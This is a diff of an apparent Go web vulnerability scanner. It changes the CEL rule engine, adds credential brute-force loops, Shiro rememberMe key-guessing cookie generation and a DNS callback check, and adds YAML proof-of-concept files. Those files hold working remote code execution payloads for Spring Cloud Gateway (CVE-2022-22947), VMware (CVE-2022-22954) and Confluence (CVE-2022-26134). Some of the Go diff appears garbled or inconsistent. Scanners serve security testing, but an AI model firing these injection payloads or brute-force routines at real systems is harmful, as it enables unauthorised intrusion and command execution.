if !IsContain(varset, k) && !IsContain(varpay, k) {
|
||||
varset = append(varset, k)
|
||||
}
|
||||
}
|
||||
}
|
||||
if strings.Contains(rule.Path, "{{"+key+"}}") {
|
||||
return true
|
||||
}
|
||||
if n == 0 {
|
||||
success, err = clustersend(oReq, variableMap, req, env, rule)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if success == false {
|
||||
break
|
||||
}
|
||||
}
|
||||
if len(varset) == 1 {
|
||||
look1:
|
||||
// (var1 tomcat ,keys[0] username)
|
||||
for _, var1 := range p.Sets[varset[0]] {
|
||||
setMap := cloneMap1(setMapbak)
|
||||
setMap[varset[0]] = var1
|
||||
evalset(env, setMap)
|
||||
rule1 := cloneRules(rule)
|
||||
for k2, v2 := range rule1.Headers {
|
||||
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+varset[0]+"}}", var1)
|
||||
for _, key := range varpay {
|
||||
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
|
||||
}
|
||||
}
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+varset[0]+"}}", var1)
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+varset[0]+"}}", var1)
|
||||
for _, key := range varpay {
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
|
||||
}
|
||||
success, err = clustersend(oReq, variableMap, req, env, rule)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
if success == true {
|
||||
common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, var1))
|
||||
break look1
|
||||
}
|
||||
}
|
||||
if success == false {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if len(varset) == 2 {
|
||||
look2:
|
||||
// (var1 tomcat ,keys[0] username)
|
||||
for _, var1 := range p.Sets[varset[0]] { //username
|
||||
for _, var2 := range p.Sets[varset[1]] { //password
|
||||
setMap := cloneMap1(setMapbak)
|
||||
setMap[varset[0]] = var1
|
||||
setMap[varset[1]] = var2
|
||||
evalset(env, setMap)
|
||||
rule1 := cloneRules(rule)
|
||||
for k2, v2 := range rule1.Headers {
|
||||
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+varset[0]+"}}", var1)
|
||||
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+varset[1]+"}}", var2)
|
||||
for _, key := range varpay {
|
||||
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
|
||||
}
|
||||
}
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+varset[0]+"}}", var1)
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+varset[0]+"}}", var1)
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+varset[1]+"}}", var2)
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+varset[1]+"}}", var2)
|
||||
for _, key := range varpay {
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
|
||||
}
|
||||
success, err = clustersend(oReq, variableMap, req, env, rule1)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if success == true {
|
||||
common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, var1, var2))
|
||||
break look2
|
||||
}
|
||||
}
|
||||
}
|
||||
if success == false {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if len(varset) == 3 {
|
||||
look3:
|
||||
for _, var1 := range p.Sets[keys[0]] {
|
||||
for _, var2 := range p.Sets[keys[1]] {
|
||||
for _, var3 := range p.Sets[keys[2]] {
|
||||
setMap := cloneMap1(setMapbak)
|
||||
setMap[varset[0]] = var1
|
||||
setMap[varset[1]] = var2
|
||||
evalset(env, setMap)
|
||||
rule1 := cloneRules(rule)
|
||||
for k2, v2 := range rule1.Headers {
|
||||
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1)
|
||||
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[1]+"}}", var2)
|
||||
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[2]+"}}", var3)
|
||||
for _, key := range varpay {
|
||||
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
|
||||
}
|
||||
}
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1)
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1)
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[1]+"}}", var2)
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[1]+"}}", var2)
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[2]+"}}", var3)
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[2]+"}}", var3)
|
||||
for _, key := range varpay {
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
|
||||
}
|
||||
success, err = clustersend(oReq, variableMap, req, env, rule)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if success == true {
|
||||
common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s %s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, var1, var2, var3))
|
||||
break look3
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if success == false {
|
||||
break
|
||||
}
|
||||
if strings.Contains(rule.Body, "{{"+key+"}}") {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return success, nil
|
||||
return false
|
||||
}
|
||||
|
||||
func Combo(input ListMap) (output [][]string) {
|
||||
if len(input) > 1 {
|
||||
output = Combo(input[1:])
|
||||
output = MakeData(output, input[0].Value)
|
||||
} else {
|
||||
for _, i := range input[0].Value {
|
||||
output = append(output, []string{i})
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func MakeData(base [][]string, nextData []string) (output [][]string) {
|
||||
for i := range base {
|
||||
for _, j := range nextData {
|
||||
output = append(output, append([]string{j}, base[i]...))
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, env *cel.Env, rule Rules) (bool, error) {
|
||||
for k1, v1 := range variableMap {
|
||||
_, isMap := v1.(map[string]string)
|
||||
if isMap {
|
||||
continue
|
||||
}
|
||||
value := fmt.Sprintf("%v", v1)
|
||||
for k2, v2 := range rule.Headers {
|
||||
if strings.Contains(v2, "{{"+k1+"}}") {
|
||||
rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
|
||||
}
|
||||
}
|
||||
rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
|
||||
rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
|
||||
}
|
||||
if oReq.URL.Path != "" && oReq.URL.Path != "/" {
|
||||
req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
|
||||
} else {
|
||||
|
@ -619,14 +420,19 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re
|
|||
}
|
||||
// 某些poc没有区分path和query,需要处理
|
||||
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
|
||||
req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
|
||||
|
||||
newRequest, _ := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
|
||||
//req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
|
||||
//
|
||||
newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
|
||||
if err != nil {
|
||||
//fmt.Println("[-] newRequest error:",err)
|
||||
return false, err
|
||||
}
|
||||
newRequest.Header = oReq.Header.Clone()
|
||||
for k, v := range rule.Headers {
|
||||
newRequest.Header.Set(k, v)
|
||||
}
|
||||
resp, err := DoRequest(newRequest, rule.FollowRedirects)
|
||||
newRequest = nil
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
@ -643,9 +449,11 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re
|
|||
return false, nil
|
||||
}
|
||||
}
|
||||
|
||||
out, err := Evaluate(env, rule.Expression, variableMap)
|
||||
if err != nil {
|
||||
if strings.Contains(err.Error(), "Syntax error") {
|
||||
fmt.Println(rule.Expression, err)
|
||||
}
|
||||
return false, err
|
||||
}
|
||||
//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
|
||||
|
@ -675,58 +483,31 @@ func cloneMap(tags map[string]string) map[string]string {
|
|||
return cloneTags
|
||||
}
|
||||
|
||||
func cloneMap1(tags map[string]interface{}) map[string]interface{} {
|
||||
cloneTags := make(map[string]interface{})
|
||||
for k, v := range tags {
|
||||
cloneTags[k] = v
|
||||
func evalset(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (err error, output string) {
|
||||
out, err := Evaluate(env, expression, variableMap)
|
||||
if err != nil {
|
||||
variableMap[k] = expression
|
||||
} else {
|
||||
switch value := out.Value().(type) {
|
||||
case *UrlType:
|
||||
variableMap[k] = UrlTypeToString(value)
|
||||
case int64:
|
||||
variableMap[k] = int(value)
|
||||
default:
|
||||
variableMap[k] = fmt.Sprintf("%v", out)
|
||||
}
|
||||
}
|
||||
return cloneTags
|
||||
return err, fmt.Sprintf("%v", variableMap[k])
|
||||
}
|
||||
|
||||
func IsContain(items []string, item string) bool {
|
||||
for _, eachItem := range items {
|
||||
if eachItem == item {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func evalset(env *cel.Env, variableMap map[string]interface{}) {
|
||||
for k := range variableMap {
|
||||
expression := fmt.Sprintf("%v", variableMap[k])
|
||||
if !strings.Contains(k, "payload") {
|
||||
out, err := Evaluate(env, expression, variableMap)
|
||||
if err != nil {
|
||||
//fmt.Println(err)
|
||||
variableMap[k] = expression
|
||||
continue
|
||||
}
|
||||
switch value := out.Value().(type) {
|
||||
case *UrlType:
|
||||
variableMap[k] = UrlTypeToString(value)
|
||||
case int64:
|
||||
variableMap[k] = fmt.Sprintf("%v", value)
|
||||
case []uint8:
|
||||
variableMap[k] = fmt.Sprintf("%v", out)
|
||||
default:
|
||||
variableMap[k] = fmt.Sprintf("%v", out)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for k := range variableMap {
|
||||
expression := fmt.Sprintf("%v", variableMap[k])
|
||||
if strings.Contains(k, "payload") {
|
||||
out, err := Evaluate(env, expression, variableMap)
|
||||
if err != nil {
|
||||
//fmt.Println(err)
|
||||
variableMap[k] = expression
|
||||
} else {
|
||||
variableMap[k] = fmt.Sprintf("%v", out)
|
||||
}
|
||||
}
|
||||
func evalset1(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (err error, output string) {
|
||||
out, err := Evaluate(env, expression, variableMap)
|
||||
if err != nil {
|
||||
variableMap[k] = expression
|
||||
} else {
|
||||
variableMap[k] = fmt.Sprintf("%v", out)
|
||||
}
|
||||
return err, fmt.Sprintf("%v", variableMap[k])
|
||||
}
|
||||
|
||||
func CheckInfoPoc(infostr string) string {
|
||||
|
|
|
@ -5,6 +5,7 @@ import (
|
|||
"compress/gzip"
|
||||
"crypto/md5"
|
||||
"encoding/base64"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"github.com/google/cel-go/cel"
|
||||
"github.com/google/cel-go/checker/decls"
|
||||
|
@ -175,6 +176,26 @@ func NewEnvOption() CustomLib {
|
|||
decls.NewInstanceOverload("icontains_string",
|
||||
[]*exprpb.Type{decls.String, decls.String},
|
||||
decls.Bool)),
|
||||
decls.NewFunction("TDdate",
|
||||
decls.NewOverload("tongda_date",
|
||||
[]*exprpb.Type{},
|
||||
decls.String)),
|
||||
decls.NewFunction("shirokey",
|
||||
decls.NewOverload("shiro_key",
|
||||
[]*exprpb.Type{decls.String, decls.String},
|
||||
decls.String)),
|
||||
decls.NewFunction("startsWith",
|
||||
decls.NewInstanceOverload("startsWith_bytes",
|
||||
[]*exprpb.Type{decls.Bytes, decls.Bytes},
|
||||
decls.Bool)),
|
||||
decls.NewFunction("istartsWith",
|
||||
decls.NewInstanceOverload("startsWith_string",
|
||||
[]*exprpb.Type{decls.String, decls.String},
|
||||
decls.Bool)),
|
||||
decls.NewFunction("hexdecode",
|
||||
decls.NewInstanceOverload("hexdecode",
|
||||
[]*exprpb.Type{decls.String},
|
||||
decls.Bytes)),
|
||||
),
|
||||
}
|
||||
c.programOptions = []cel.ProgramOption{
|
||||
|
@ -407,6 +428,75 @@ func NewEnvOption() CustomLib {
|
|||
return types.Bool(strings.Contains(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "tongda_date",
|
||||
Function: func(value ...ref.Val) ref.Val {
|
||||
return types.String(time.Now().Format("0601"))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "shiro_key",
|
||||
Binary: func(key ref.Val, mode ref.Val) ref.Val {
|
||||
v1, ok := key.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(key, "unexpected type '%v' passed to shiro_key", key.Type())
|
||||
}
|
||||
v2, ok := mode.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(mode, "unexpected type '%v' passed to shiro_mode", mode.Type())
|
||||
}
|
||||
cookie := GetShrioCookie(string(v1), string(v2))
|
||||
if cookie == "" {
|
||||
return types.NewErr("%v", "key b64decode failed")
|
||||
}
|
||||
return types.String(cookie)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "startsWith_bytes",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
v1, ok := lhs.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to startsWith_bytes", lhs.Type())
|
||||
}
|
||||
v2, ok := rhs.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to startsWith_bytes", rhs.Type())
|
||||
}
|
||||
// 不区分大小写包含
|
||||
return types.Bool(bytes.HasPrefix(v1, v2))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "startsWith_string",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
v1, ok := lhs.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to startsWith_string", lhs.Type())
|
||||
}
|
||||
v2, ok := rhs.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to startsWith_string", rhs.Type())
|
||||
}
|
||||
// 不区分大小写包含
|
||||
return types.Bool(strings.HasPrefix(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "hexdecode",
|
||||
Unary: func(lhs ref.Val) ref.Val {
|
||||
v1, ok := lhs.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to hexdecode", lhs.Type())
|
||||
}
|
||||
out, err := hex.DecodeString(string(v1))
|
||||
if err != nil {
|
||||
return types.ValOrErr(lhs, "hexdecode error: %v", err)
|
||||
}
|
||||
// 不区分大小写包含
|
||||
return types.Bytes(out)
|
||||
},
|
||||
},
|
||||
),
|
||||
}
|
||||
return c
|
||||
|
@ -421,8 +511,9 @@ func (c *CustomLib) ProgramOptions() []cel.ProgramOption {
|
|||
return c.programOptions
|
||||
}
|
||||
|
||||
func (c *CustomLib) UpdateCompileOptions(args map[string]string) {
|
||||
for k, v := range args {
|
||||
func (c *CustomLib) UpdateCompileOptions(args StrMap) {
|
||||
for _, item := range args {
|
||||
k, v := item.Key, item.Value
|
||||
// 在执行之前是不知道变量的类型的,所以统一声明为字符型
|
||||
// 所以randomInt虽然返回的是int型,在运算中却被当作字符型进行计算,需要重载string_*_string
|
||||
var d *exprpb.Decl
|
||||
|
@ -456,7 +547,7 @@ func reverseCheck(r *Reverse, timeout int64) bool {
|
|||
time.Sleep(time.Second * time.Duration(timeout))
|
||||
sub := strings.Split(r.Domain, ".")[0]
|
||||
urlStr := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", ceyeApi, sub)
|
||||
fmt.Println(urlStr)
|
||||
//fmt.Println(urlStr)
|
||||
req, _ := http.NewRequest("GET", urlStr, nil)
|
||||
resp, err := DoRequest(req, false)
|
||||
if err != nil {
|
||||
|
@ -508,11 +599,13 @@ func DoRequest(req *http.Request, redirect bool) (*Response, error) {
|
|||
oResp, err = ClientNoRedirect.Do(req)
|
||||
}
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return nil, err
|
||||
}
|
||||
defer oResp.Body.Close()
|
||||
resp, err := ParseResponse(oResp)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return nil, err
|
||||
}
|
||||
return resp, err
|
||||
|
@ -591,7 +684,7 @@ func getRespBody(oResp *http.Response) ([]byte, error) {
|
|||
body = append(body, buf...)
|
||||
}
|
||||
} else {
|
||||
raw, err := ioutil.ReadAll(io.LimitReader(oResp.Body, int64(5<<20)))
|
||||
raw, err := ioutil.ReadAll(io.LimitReader(oResp.Body, 10240))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
|
|
@ -7,19 +7,98 @@ import (
|
|||
"embed"
|
||||
"fmt"
|
||||
"github.com/golang/protobuf/proto"
|
||||
"gopkg.in/yaml.v3"
|
||||
"gopkg.in/yaml.v2"
|
||||
"io/ioutil"
|
||||
"math"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type Poc struct {
|
||||
Name string `yaml:"name"`
|
||||
Set map[string]string `yaml:"set"`
|
||||
Sets map[string][]string `yaml:"sets"`
|
||||
Rules []Rules `yaml:"rules"`
|
||||
Groups map[string][]Rules `yaml:"groups"`
|
||||
Detail Detail `yaml:"detail"`
|
||||
Name string `yaml:"name"`
|
||||
Set StrMap `yaml:"set"`
|
||||
Sets ListMap `yaml:"sets"`
|
||||
Rules []Rules `yaml:"rules"`
|
||||
Groups RuleMap `yaml:"groups"`
|
||||
Detail Detail `yaml:"detail"`
|
||||
}
|
||||
|
||||
type MapSlice = yaml.MapSlice
|
||||
|
||||
type StrMap []StrItem
|
||||
type ListMap []ListItem
|
||||
type RuleMap []RuleItem
|
||||
|
||||
type StrItem struct {
|
||||
Key, Value string
|
||||
}
|
||||
|
||||
type ListItem struct {
|
||||
Key string
|
||||
Value []string
|
||||
}
|
||||
|
||||
type RuleItem struct {
|
||||
Key string
|
||||
Value []Rules
|
||||
}
|
||||
|
||||
func (r *StrMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
|
||||
var tmp yaml.MapSlice
|
||||
if err := unmarshal(&tmp); err != nil {
|
||||
return err
|
||||
}
|
||||
for _, one := range tmp {
|
||||
key, value := one.Key.(string), one.Value.(string)
|
||||
*r = append(*r, StrItem{key, value})
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
//func (r *RuleItem) UnmarshalYAML(unmarshal func(interface{}) error) error {
|
||||
// var tmp yaml.MapSlice
|
||||
// if err := unmarshal(&tmp); err != nil {
|
||||
// return err
|
||||
// }
|
||||
// //for _,one := range tmp{
|
||||
// // key,value := one.Key.(string),one.Value.(string)
|
||||
// // *r = append(*r,StrItem{key,value})
|
||||
// //}
|
||||
// return nil
|
||||
//}
|
||||
|
||||
func (r *RuleMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
|
||||
var tmp1 yaml.MapSlice
|
||||
if err := unmarshal(&tmp1); err != nil {
|
||||
return err
|
||||
}
|
||||
var tmp = make(map[string][]Rules)
|
||||
if err := unmarshal(&tmp); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
for _, one := range tmp1 {
|
||||
key := one.Key.(string)
|
||||
value := tmp[key]
|
||||
*r = append(*r, RuleItem{key, value})
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (r *ListMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
|
||||
var tmp yaml.MapSlice
|
||||
if err := unmarshal(&tmp); err != nil {
|
||||
return err
|
||||
}
|
||||
for _, one := range tmp {
|
||||
key := one.Key.(string)
|
||||
var value []string
|
||||
for _, val := range one.Value.([]interface{}) {
|
||||
v := fmt.Sprintf("%v", val)
|
||||
value = append(value, v)
|
||||
}
|
||||
*r = append(*r, ListItem{key, value})
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
type Rules struct {
|
||||
|
@ -30,6 +109,7 @@ type Rules struct {
|
|||
Search string `yaml:"search"`
|
||||
FollowRedirects bool `yaml:"follow_redirects"`
|
||||
Expression string `yaml:"expression"`
|
||||
Continue bool `yaml:"continue"`
|
||||
}
|
||||
|
||||
type Detail struct {
|
||||
|
@ -400,12 +480,12 @@ func LoadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
|
|||
yamlFile, err := Pocs.ReadFile("pocs/" + fileName)
|
||||
|
||||
if err != nil {
|
||||
fmt.Printf("[-] load poc %s error: %v", fileName, err)
|
||||
fmt.Printf("[-] load poc %s error1: %v\n", fileName, err)
|
||||
return nil, err
|
||||
}
|
||||
err = yaml.Unmarshal(yamlFile, p)
|
||||
if err != nil {
|
||||
fmt.Printf("[-] load poc %s error: %v", fileName, err)
|
||||
fmt.Printf("[-] load poc %s error2: %v\n", fileName, err)
|
||||
return nil, err
|
||||
}
|
||||
return p, err
|
||||
|
@ -429,12 +509,12 @@ func LoadPocbyPath(fileName string) (*Poc, error) {
|
|||
p := &Poc{}
|
||||
data, err := ioutil.ReadFile(fileName)
|
||||
if err != nil {
|
||||
fmt.Printf("[-] load poc %s error: %v", fileName, err)
|
||||
fmt.Printf("[-] load poc %s error3: %v\n", fileName, err)
|
||||
return nil, err
|
||||
}
|
||||
err = yaml.Unmarshal(data, p)
|
||||
if err != nil {
|
||||
fmt.Printf("[-] load poc %s error: %v", fileName, err)
|
||||
fmt.Printf("[-] load poc %s error4: %v\n", fileName, err)
|
||||
return nil, err
|
||||
}
|
||||
return p, err
|
||||
|
|
|
@ -0,0 +1,73 @@
|
|||
package lib
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/rand"
|
||||
"encoding/base64"
|
||||
"io"
|
||||
|
||||
uuid "github.com/satori/go.uuid"
|
||||
)
|
||||
|
||||
var (
|
||||
CheckContent = "rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA=="
|
||||
Content, _ = base64.StdEncoding.DecodeString(CheckContent)
|
||||
)
|
||||
|
||||
func Padding(plainText []byte, blockSize int) []byte {
|
||||
//计算要填充的长度
|
||||
n := (blockSize - len(plainText)%blockSize)
|
||||
//对原来的明文填充n个n
|
||||
temp := bytes.Repeat([]byte{byte(n)}, n)
|
||||
plainText = append(plainText, temp...)
|
||||
return plainText
|
||||
}
|
||||
|
||||
func GetShrioCookie(key, mode string) string {
|
||||
if mode == "gcm" {
|
||||
return AES_GCM_Encrypt(key)
|
||||
} else {
|
||||
//cbc
|
||||
return AES_CBC_Encrypt(key)
|
||||
}
|
||||
}
|
||||
|
||||
//AES CBC加密后的payload
|
||||
func AES_CBC_Encrypt(shirokey string) string {
|
||||
key, err := base64.StdEncoding.DecodeString(shirokey)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
Content = Padding(Content, block.BlockSize())
|
||||
iv := uuid.NewV4().Bytes() //指定初始向量vi,长度和block的块尺寸一致
|
||||
blockMode := cipher.NewCBCEncrypter(block, iv) //指定CBC分组模式,返回一个BlockMode接口对象
|
||||
cipherText := make([]byte, len(Content))
|
||||
blockMode.CryptBlocks(cipherText, Content) //加密数据
|
||||
return base64.StdEncoding.EncodeToString(append(iv[:], cipherText[:]...))
|
||||
}
|
||||
|
||||
//AES GCM 加密后的payload shiro 1.4.2版本更换为了AES-GCM加密方式
|
||||
func AES_GCM_Encrypt(shirokey string) string {
|
||||
key, err := base64.StdEncoding.DecodeString(shirokey)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
nonce := make([]byte, 16)
|
||||
_, err = io.ReadFull(rand.Reader, nonce)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
aesgcm, _ := cipher.NewGCMWithNonceSize(block, 16)
|
||||
ciphertext := aesgcm.Seal(nil, nonce, Content, nil)
|
||||
return base64.StdEncoding.EncodeToString(append(nonce, ciphertext...))
|
||||
}
|
|
@ -0,0 +1,11 @@
|
|||
name: poc-yaml-CVE-2017-7504-Jboss-serialization-RCE
|
||||
rules:
|
||||
- method: GET
|
||||
path: /jbossmq-httpil/HTTPServerILServlet
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b'This is the JBossMQ HTTP-IL')
|
||||
detail:
|
||||
author: mamba
|
||||
description: "CVE-2017-7504-Jboss-serialization-RCE by chaosec公众号"
|
||||
links:
|
||||
- https://github.com/chaosec2021
|
|
@ -0,0 +1,44 @@
|
|||
name: Spring-Cloud-CVE-2022-22947
|
||||
set:
|
||||
router: randomLowercase(8)
|
||||
rand1: randomInt(800000000, 1000000000)
|
||||
rand2: randomInt(800000000, 1000000000)
|
||||
rules:
|
||||
- method: POST
|
||||
path: /actuator/gateway/routes/{{router}}
|
||||
headers:
|
||||
Content-Type: application/json
|
||||
body: |
|
||||
{
|
||||
"id": "{{router}}",
|
||||
"filters": [{
|
||||
"name": "AddResponseHeader",
|
||||
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"expr\",\"{{rand1}}\",\"+\",\"{{rand2}}\"}).getInputStream()))}"}
|
||||
}],
|
||||
"uri": "http://example.com",
|
||||
"order": 0
|
||||
}
|
||||
expression: response.status == 201
|
||||
- method: POST
|
||||
path: /actuator/gateway/refresh
|
||||
headers:
|
||||
Content-Type: application/json
|
||||
expression: response.status == 200
|
||||
- method: GET
|
||||
path: /actuator/gateway/routes/{{router}}
|
||||
headers:
|
||||
Content-Type: application/json
|
||||
expression: response.status == 200 && response.body.bcontains(bytes(string(rand1 + rand2)))
|
||||
- method: DELETE
|
||||
path: /actuator/gateway/routes/{{router}}
|
||||
expression: response.status == 200
|
||||
- method: POST
|
||||
path: /actuator/gateway/refresh
|
||||
headers:
|
||||
Content-Type: application/json
|
||||
expression: response.status == 200
|
||||
detail:
|
||||
author: jweny
|
||||
description: Spring Cloud Gateway Code Injection
|
||||
links:
|
||||
- https://mp.weixin.qq.com/s/qIAcycsO_L9JKisG5Bgg_w
|
|
@ -0,0 +1,11 @@
|
|||
name: poc-yaml-CVE-2022-22954-VMware-RCE
|
||||
rules:
|
||||
- method: GET
|
||||
path: /catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b"freemarker%2etemplate%2eutility%2eExecute"%3fnew%28%29%28"id"%29%7d
|
||||
expression: |
|
||||
response.status == 400 && "device id:".bmatches(response.body)
|
||||
detail:
|
||||
author: mamba
|
||||
description: "CVE-2022-22954-VMware-RCE by chaosec公众号"
|
||||
links:
|
||||
- https://github.com/chaosec2021
|
|
@ -0,0 +1,16 @@
|
|||
name: Confluence-CVE-2022-26134
|
||||
|
||||
rules:
|
||||
- method: GET
|
||||
path: /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/
|
||||
expression: response.status == 302 && "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.raw_header)
|
||||
detail:
|
||||
author: zan8in
|
||||
description: |
|
||||
Atlassian Confluence OGNL注入漏洞
|
||||
